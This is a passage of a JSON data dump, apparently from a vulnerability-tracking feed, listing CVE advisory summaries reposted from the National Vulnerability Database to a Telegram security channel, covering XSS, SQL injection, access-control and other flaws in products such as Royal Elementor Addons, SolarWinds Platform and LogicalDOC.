"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4710", "type": "seen", "source": "https://t.me/cibsecurity/56241", "content": "\u203c CVE-2022-4710 \u203c\n\nThe Royal Elementor Addons plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 1.3.59, due to due to insufficient input sanitization and output escaping of the 'wpr_ajax_search_link_target' parameter in the 'data_fetch' function. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. This is occurring because 'sanitize_text_field' is insufficient to prevent attribute-based Cross-Site Scripting\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-10T20:28:34.000000Z"}, {"uuid": "b75a9552-138f-4dc5-9633-2de198e2bab6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4703", "type": "seen", "source": "https://t.me/cibsecurity/56240", "content": "\u203c CVE-2022-4703 \u203c\n\nThe Royal Elementor Addons plugin for WordPress is vulnerable to insufficient access control in the 'wpr_reset_previous_import' AJAX action in versions up to, and including, 1.3.59. This allows any authenticated user, including those with subscriber-level permissions, to reset previously imported data.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-10T20:28:33.000000Z"}, {"uuid": "f414db21-ff28-490b-9cb2-480dd5e259aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47853", "type": "seen", "source": "https://t.me/cibsecurity/56614", "content": "\u203c CVE-2022-47853 \u203c\n\nTOTOlink A7100RU V7.4cu.2313_B20191024 is vulnerable to Command Injection Vulnerability in the httpd service. An attacker can obtain a stable root shell through a specially constructed payload.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-17T22:15:31.000000Z"}, {"uuid": "5ad63ed9-0d15-4783-bb9e-6966cbd30997", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47861", "type": "seen", "source": "https://t.me/cibsecurity/56352", "content": "\u203c CVE-2022-47861 \u203c\n\nLead Management System v1.0 is vulnerable to SQL Injection via the id parameter in removeLead.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-11T18:29:29.000000Z"}, {"uuid": "fdb80765-855e-43ff-a7c6-784700c74719", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47102", "type": "seen", "source": "https://t.me/cibsecurity/56452", "content": "\u203c CVE-2022-47102 \u203c\n\nA cross-site scripting (XSS) vulnerability in Student Study Center Management System V 1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the name parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-13T00:30:31.000000Z"}, {"uuid": "9e006c08-8378-4ac8-8736-769ad71b5e66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4743", "type": "seen", "source": "https://t.me/cibsecurity/56446", "content": "\u203c CVE-2022-4743 \u203c\n\nA potential memory leak issue was discovered in SDL2 in GLES_CreateTexture() function in SDL_render_gles.c. The vulnerability allows an attacker to cause a denial of service attack. The vulnerability affects SDL2 v2.0.4 and above. SDL-1.x are not affected.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-12T22:30:41.000000Z"}, {"uuid": "8efd2259-f1a4-40fa-9e66-ddc2fdd4586d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47341", "type": "seen", "source": "https://t.me/cibsecurity/57959", "content": "\u203c CVE-2022-47341 \u203c\n\nIn engineermode services, there is a missing permission check. This could lead to local escalation of privilege with system execution privileges needed.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-12T07:35:01.000000Z"}, {"uuid": "4f77beb2-e06b-4903-be73-d77203046078", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47364", "type": "seen", "source": "https://t.me/cibsecurity/57958", "content": "\u203c CVE-2022-47364 \u203c\n\nIn wlan driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service in wlan services.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-12T07:35:00.000000Z"}, {"uuid": "4504e2af-f74a-4dbf-827a-7324dd0a3048", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47347", "type": "seen", "source": "https://t.me/cibsecurity/57957", "content": "\u203c CVE-2022-47347 \u203c\n\nIn engineermode services, there is a missing permission check. This could lead to local denial of service in engineermode services.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-12T07:34:59.000000Z"}, {"uuid": "c8cd2aad-2932-4798-9e39-946d5080a393", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47862", "type": "seen", "source": "https://t.me/cibsecurity/56356", "content": "\u203c CVE-2022-47862 \u203c\n\nLead Management System v1.0 is vulnerable to SQL Injection via the customer_id parameter in ajax_represent.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-11T18:29:36.000000Z"}, {"uuid": "7512f2ec-97d2-4700-bf8f-fac627038f5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47860", "type": "seen", "source": "https://t.me/cibsecurity/56355", "content": "\u203c CVE-2022-47860 \u203c\n\nLead Management System v1.0 is vulnerable to SQL Injection via the id parameter in removeProduct.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-11T18:29:32.000000Z"}, {"uuid": "5c4a88a3-fa96-4258-a57c-3b3dada80261", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47507", "type": "seen", "source": "https://t.me/cibsecurity/58269", "content": "\u203c CVE-2022-47507 \u203c\n\nSolarWinds Platform was susceptible to the Deserialization of Untrusted Data. This vulnerability allows a remote adversary with Orion admin-level account access to SolarWinds Web Console to execute arbitrary commands.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-15T22:36:48.000000Z"}, {"uuid": "e2f2ae6e-302c-4556-bc54-dfe0c3538c35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4704", "type": "seen", "source": "https://t.me/cibsecurity/56251", "content": "\u203c CVE-2022-4704 \u203c\n\nThe Royal Elementor Addons plugin for WordPress is vulnerable to insufficient access control in the 'wpr_import_templates_kit' AJAX action in versions up to, and including, 1.3.59. This allows any authenticated user, including those with subscriber-level permissions, to import preset site configuration templates including images and settings.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-10T20:28:50.000000Z"}, {"uuid": "ade50f4b-cf20-4857-8c81-f4ce15c4244a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4700", "type": "seen", "source": "https://t.me/cibsecurity/56250", "content": "\u203c CVE-2022-4700 \u203c\n\nThe Royal Elementor Addons plugin for WordPress is vulnerable to insufficient access control in the 'wpr_activate_required_theme' AJAX action in versions up to, and including, 1.3.59. This allows any authenticated user, including those with subscriber-level permissions, to activate the 'royal-elementor-kit' theme. If no such theme is installed doing so can also impact site availability as the site attempts to load a nonexistent theme.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-10T20:28:49.000000Z"}, {"uuid": "9551e17e-6675-427c-88f4-979a9d123ef1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4704", "type": "seen", "source": "https://t.me/cibsecurity/56249", "content": "\u203c CVE-2022-4705 \u203c\n\nThe Royal Elementor Addons plugin for WordPress is vulnerable to insufficient access control in the 'wpr_final_settings_setup' AJAX action in versions up to, and including, 1.3.59. This allows any authenticated user, including those with subscriber-level permissions, to finalize activation of preset site configuration templates, which can be chosen and imported via a separate action documented in CVE-2022-4704.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-10T20:28:48.000000Z"}, {"uuid": "753e15a0-05a5-4f0f-a73b-7d0ac80e07a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4705", "type": "seen", "source": "https://t.me/cibsecurity/56249", "content": "\u203c CVE-2022-4705 \u203c\n\nThe Royal Elementor Addons plugin for WordPress is vulnerable to insufficient access control in the 'wpr_final_settings_setup' AJAX action in versions up to, and including, 1.3.59. This allows any authenticated user, including those with subscriber-level permissions, to finalize activation of preset site configuration templates, which can be chosen and imported via a separate action documented in CVE-2022-4704.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-10T20:28:48.000000Z"}, {"uuid": "4421b84c-3463-4719-a857-aabc9b62138d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4702", "type": "seen", "source": "https://t.me/cibsecurity/56248", "content": "\u203c CVE-2022-4702 \u203c\n\nThe Royal Elementor Addons plugin for WordPress is vulnerable to insufficient access control in the 'wpr_fix_royal_compatibility' AJAX action in versions up to, and including, 1.3.59. This allows any authenticated user, including those with subscriber-level permissions, to deactivate every plugin on the site unless it is part of an extremely limited hardcoded selection. This also switches the site to the 'royal-elementor-kit' theme, potentially resulting in availability issues.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-10T20:28:44.000000Z"}, {"uuid": "8debc3fc-b269-4b32-8268-9c823454a9e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4708", "type": "seen", "source": "https://t.me/cibsecurity/56247", "content": "\u203c CVE-2022-4708 \u203c\n\nThe Royal Elementor Addons plugin for WordPress is vulnerable to insufficient access control in the 'wpr_save_template_conditions' AJAX action in versions up to, and including, 1.3.59. This allows any authenticated user, including those with subscriber-level permissions, to modify the conditions under which templates are displayed.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-10T20:28:43.000000Z"}, {"uuid": "a38950b7-0e18-4ac8-aa93-88b6174e1578", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4707", "type": "seen", "source": "https://t.me/cibsecurity/56246", "content": "\u203c CVE-2022-4707 \u203c\n\nThe Royal Elementor Addons plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.3.59. This is due to missing nonce validation in the 'wpr_create_mega_menu_template' AJAX function. This allows unauthenticated attackers to create Mega Menu templates, granted they can trick an administrator into performing an action, such as clicking a link.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-10T20:28:42.000000Z"}, {"uuid": "de82b5f4-1e4d-43d8-96e7-7ec4348a8997", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47935", "type": "seen", "source": "https://t.me/cibsecurity/56227", "content": "\u203c CVE-2022-47935 \u203c\n\nA vulnerability has been identified in JT Open (All versions < V11.1.1.0), JT Utilities (All versions < V13.1.1.0), Solid Edge (All versions < V2023). The Jt1001.dll contains a memory corruption vulnerability while parsing specially crafted JT files. An attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-19078)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-10T14:28:32.000000Z"}, {"uuid": "04c628aa-7757-4d3a-a05a-b98e5b6d21a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47506", "type": "seen", "source": "https://t.me/cibsecurity/58281", "content": "\u203c CVE-2022-47506 \u203c\n\nSolarWinds Platform was susceptible to the Directory Traversal Vulnerability. This vulnerability allows a local adversary with authenticated account access to edit the default configuration, enabling the execution of arbitrary commands.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-15T22:37:04.000000Z"}, {"uuid": "70b7b1ea-c606-4041-bf8d-b535d22de58f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47504", "type": "seen", "source": "https://t.me/cibsecurity/58278", "content": "\u203c CVE-2022-47504 \u203c\n\nSolarWinds Platform was susceptible to the Deserialization of Untrusted Data. This vulnerability allows a remote adversary with Orion admin-level account access to SolarWinds Web Console to execute arbitrary commands.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-15T22:37:01.000000Z"}, {"uuid": "d9caf2f0-850e-4e8a-8baa-cafb082c429f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47503", "type": "seen", "source": "https://t.me/cibsecurity/58277", "content": "\u203c CVE-2022-47503 \u203c\n\nSolarWinds Platform was susceptible to the Deserialization of Untrusted Data. This vulnerability allows a remote adversary with Orion admin-level account access to SolarWinds Web Console to execute arbitrary commands.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-15T22:36:57.000000Z"}, {"uuid": "f2a0eacc-0d58-4c24-b843-5f1948dc0ab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47634", "type": "seen", "source": "https://t.me/cibsecurity/55724", "content": "\u203c CVE-2022-47634 \u203c\n\nM-Link Archive Server in Isode M-Link R16.2v1 through R17.0 before R17.0v24 allows non-administrative users to access and manipulate archive data via certain HTTP endpoints, aka LINK-2867.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-01T12:15:50.000000Z"}, {"uuid": "c39a6393-6664-4e04-9114-91f0c40f62ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47952", "type": "seen", "source": "https://t.me/cibsecurity/55723", "content": "\u203c CVE-2022-47952 \u203c\n\nlxc-user-nic in lxc through 5.0.1 is installed setuid root, and may allow local users to infer whether any file exists, even within a protected directory tree, because \"Failed to open\" often indicates that a file does not exist, whereas \"does not refer to a network namespace path\" often indicates that a file exists. NOTE: this is different from CVE-2018-6556 because the CVE-2018-6556 fix design was based on the premise that \"we will report back to the user that the open() failed but the user has no way of knowing why it failed\"; however, in many realistic cases, there are no plausible reasons for failing except that the file does not exist.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-01T12:15:46.000000Z"}, {"uuid": "4d2bc23b-c424-44b8-b368-e51f3dce0b47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47034", "type": "seen", "source": "https://t.me/cibsecurity/58045", "content": "\u203c CVE-2022-47034 \u203c\n\nA type juggling vulnerability in the component /auth/fn.php of PlaySMS v1.4.5 and earlier allows attackers to bypass authentication.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-14T00:30:23.000000Z"}, {"uuid": "82184166-42d5-48f2-8275-95ed1cb5377a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47373", "type": "seen", "source": "https://t.me/cibsecurity/58210", "content": "\u203c CVE-2022-47373 \u203c\n\nReflected Cross Site Scripting in Search Functionality of Module Library in Pandora FMS Console v766 and lower. This vulnerability arises on the forget password functionality in which parameter username does not proper input validation/sanitization thus results in executing malicious JavaScript payload.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-15T07:36:24.000000Z"}, {"uuid": "a738b230-24dc-4312-b9c7-136813c5baa2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47372", "type": "seen", "source": "https://t.me/cibsecurity/58201", "content": "\u203c CVE-2022-47372 \u203c\n\nStored cross-site scripting vulnerability in the Create event section in Pandora FMS Console v766 and lower. An attacker typically exploits this vulnerability by injecting XSS payloads on popular pages of a site or passing a link to a victim, tricking them into viewing the page that contains the stored XSS payload.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-15T07:36:12.000000Z"}, {"uuid": "05dbeaab-7315-4997-bbfc-0d066260eea5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47345", "type": "seen", "source": "https://t.me/cibsecurity/57947", "content": "\u203c CVE-2022-47345 \u203c\n\nIn engineermode services, there is a missing permission check. This could lead to local denial of service in engineermode services.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-14T17:21:46.000000Z"}, {"uuid": "124515e9-ed50-4fd2-aad6-64588dcd6953", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47342", "type": "seen", "source": "https://t.me/cibsecurity/57946", "content": "\u203c CVE-2022-47342 \u203c\n\nIn engineermode services, there is a missing permission check. This could lead to local denial of service in engineermode services.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-12T07:34:44.000000Z"}, {"uuid": "be2ae114-7249-4b01-a037-8005e5a9c201", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47358", "type": "seen", "source": "https://t.me/cibsecurity/57955", "content": "\u203c CVE-2022-47358 \u203c\n\nIn log service, there is a missing permission check. This could lead to local denial of service in log service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-12T07:34:54.000000Z"}, {"uuid": "1f84878a-156c-4201-8c7e-e7f3a9e1622c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47322", "type": "seen", "source": "https://t.me/cibsecurity/57952", "content": "\u203c CVE-2022-47322 \u203c\n\nIn wlan driver, there is a possible missing params check. This could lead to local denial of service in wlan services.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-12T07:34:52.000000Z"}, {"uuid": "2d2355b3-d44f-457d-9c24-43da6735a00f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47344", "type": "seen", "source": "https://t.me/cibsecurity/57950", "content": "\u203c CVE-2022-47344 \u203c\n\nIn engineermode services, there is a missing permission check. This could lead to local denial of service in engineermode services.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-12T07:34:48.000000Z"}, {"uuid": "4284bad2-106f-4a79-a204-1dc52030d572", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47414", "type": "seen", "source": "https://t.me/cibsecurity/57716", "content": "\u203c CVE-2022-47414 \u203c\n\nIf an attacker has access to the console for OpenKM (and is authenticated), a stored XSS vulnerability is reachable in the document \"note\" functionality.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-08T00:24:30.000000Z"}, {"uuid": "39546184-21cd-401c-a831-0c04078b97a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47417", "type": "seen", "source": "https://t.me/cibsecurity/57705", "content": "\u203c CVE-2022-47417 \u203c\n\nLogicalDOC Enterprise and Community Edition (CE) are vulnerable to a stored (persistent, or \"Type II\") cross-site scripting (XSS) condition in the document file name.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-08T00:24:13.000000Z"}, {"uuid": "d71f95ce-2d7b-4d6b-afef-595b05472cbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4756", "type": "seen", "source": "https://t.me/cibsecurity/57583", "content": "\u203c CVE-2022-4756 \u203c\n\nThe My YouTube Channel WordPress plugin before 3.23.0 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-06T22:23:38.000000Z"}, {"uuid": "7a801d32-c668-4256-9190-2cbde3b66526", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4726", "type": "seen", "source": "https://t.me/cibsecurity/55423", "content": "\u203c CVE-2022-4726 \u203c\n\nA vulnerability classified as critical was found in SourceCodester Sanitization Management System 1.0. Affected by this vulnerability is an unknown functionality of the component Admin Login. The manipulation of the argument username/password leads to sql injection. The attack can be launched remotely. The associated identifier of this vulnerability is VDB-216739.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-27T18:13:45.000000Z"}, {"uuid": "d45f06c1-8502-4e98-b61d-997b132fc3f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4732", "type": "seen", "source": "https://t.me/cibsecurity/55422", "content": "\u203c CVE-2022-4732 \u203c\n\nUnrestricted Upload of File with Dangerous Type in GitHub repository microweber/microweber prior to 1.3.2.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-27T18:13:44.000000Z"}, {"uuid": "1926ee02-f77e-4f05-a5f0-50455dc5c5ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4720", "type": "seen", "source": "https://t.me/cibsecurity/55421", "content": "\u203c CVE-2022-4720 \u203c\n\nOpen Redirect in GitHub repository ikus060/rdiffweb prior to 2.5.5.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-27T18:13:43.000000Z"}, {"uuid": "284c4574-de7a-4f84-8206-bcc6b878f053", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4730", "type": "seen", "source": "https://t.me/cibsecurity/55420", "content": "\u203c CVE-2022-4730 \u203c\n\nA vulnerability was found in Graphite Web. It has been classified as problematic. Affected is an unknown function of the component Absolute Time Range Handler. The manipulation leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The name of the patch is 2f178f490e10efc03cd1d27c72f64ecab224eb23. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-216744.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-27T18:13:42.000000Z"}, {"uuid": "082e2fc6-a903-4917-911f-6864d8b0a84b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47332", "type": "seen", "source": "https://t.me/cibsecurity/57965", "content": "\u203c CVE-2022-47332 \u203c\n\nIn wlan driver, there is a possible missing permission check. This could lead to local information disclosure.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-12T07:35:07.000000Z"}, {"uuid": "482cd0ae-081c-471e-ad52-724d0f7f0203", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47412", "type": "seen", "source": "https://t.me/cibsecurity/57692", "content": "\u203c CVE-2022-47412 \u203c\n\nGiven a malicious document provided by an attacker, the ONLYOFFICE Workspace DMS is vulnerable to a stored (persistent, or \"Type II\") cross-site scripting (XSS) condition.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-07T22:23:15.000000Z"}, {"uuid": "000a3f5c-d3a1-4778-b866-d938019f37f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47648", "type": "seen", "source": "https://t.me/cibsecurity/57814", "content": "\u203c CVE-2022-47648 \u203c\n\nBosch Security Systems B420 firmware 02.02.0001 employs IP based authorization in its authentication mechanism, allowing attackers to access the device as long as they are on the same network as a legitimate user.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-09T00:25:19.000000Z"}, {"uuid": "fbb68ba4-08f7-4ccf-846a-8cc474438b48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47416", "type": "seen", "source": "https://t.me/cibsecurity/57711", "content": "\u203c CVE-2022-47416 \u203c\n\nLogicalDOC Enterprise is vulnerable to a stored (persistent, or \"Type II\") cross-site scripting (XSS) condition in the in-app chat system.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-08T00:24:22.000000Z"}, {"uuid": "d09ff0bd-5229-4a4c-b653-0012b3d2a4e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47419", "type": "seen", "source": "https://t.me/cibsecurity/57710", "content": "\u203c CVE-2022-47419 \u203c\n\nAn XSS vulnerability was discovered in the Mayan EDMS DMS. Successful XSS exploitation was observed in the in-product tagging system.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-08T00:24:21.000000Z"}, {"uuid": "d2e62625-1001-4abb-852b-1e93517d3199", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47418", "type": "seen", "source": "https://t.me/cibsecurity/57737", "content": "\u203c CVE-2022-47418 \u203c\n\nLogicalDOC Enterprise and Community Edition (CE) are vulnerable to a stored (persistent, or \"Type II\") cross-site scripting (XSS) condition in the document version comments.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-08T02:23:39.000000Z"}, {"uuid": "825975b5-a720-4157-98bf-e09820745db5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47940", "type": "seen", "source": "https://t.me/cibsecurity/55255", "content": "\u203c CVE-2022-47940 \u203c\n\nAn issue was discovered in 